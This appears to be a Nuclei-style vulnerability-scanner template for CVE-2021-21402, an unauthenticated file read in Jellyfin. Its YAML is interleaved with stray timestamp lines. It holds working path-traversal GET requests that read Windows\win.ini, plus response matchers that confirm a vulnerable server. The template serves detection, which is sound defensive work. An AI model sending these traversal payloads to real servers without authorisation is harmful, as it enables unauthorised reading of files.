2021-04-01 22:16:53 +00:00
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id: CVE-2021-21402
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info:
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2021-04-06 10:38:03 +00:00
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name: Jellyfin prior to 10.7.0 Unauthenticated Arbitrary File Read
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2021-04-01 22:16:53 +00:00
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author: dwisiswant0
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2021-09-10 11:26:40 +00:00
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severity: medium
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2021-04-01 22:16:53 +00:00
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description: |
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Jellyfin allows unauthenticated arbitrary file read. This issue is more prevalent when
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Windows is used as the host OS. Servers that are exposed to the public Internet are
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potentially at risk. This is fixed in version 10.7.1.
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2022-04-22 10:38:41 +00:00
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reference:
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- https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
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2021-09-10 11:26:40 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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2022-04-22 10:38:41 +00:00
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cvss-score: 6.5
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2021-09-10 11:26:40 +00:00
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cve-id: CVE-2021-21402
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cwe-id: CWE-22
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2022-04-22 10:38:41 +00:00
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tags: cve,cve2021,jellyfin,lfi
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2021-04-01 22:16:53 +00:00
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requests:
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- method: GET
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path:
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2021-04-02 00:11:37 +00:00
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- "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
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- "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
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2021-04-01 22:16:53 +00:00
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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2021-04-02 00:17:18 +00:00
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- type: word
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words:
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- "Content-Type: application/octet-stream"
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part: header
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2021-04-01 22:16:53 +00:00
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- type: regex
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regex:
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- "\\[(font|extension|file)s\\]"
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part: body
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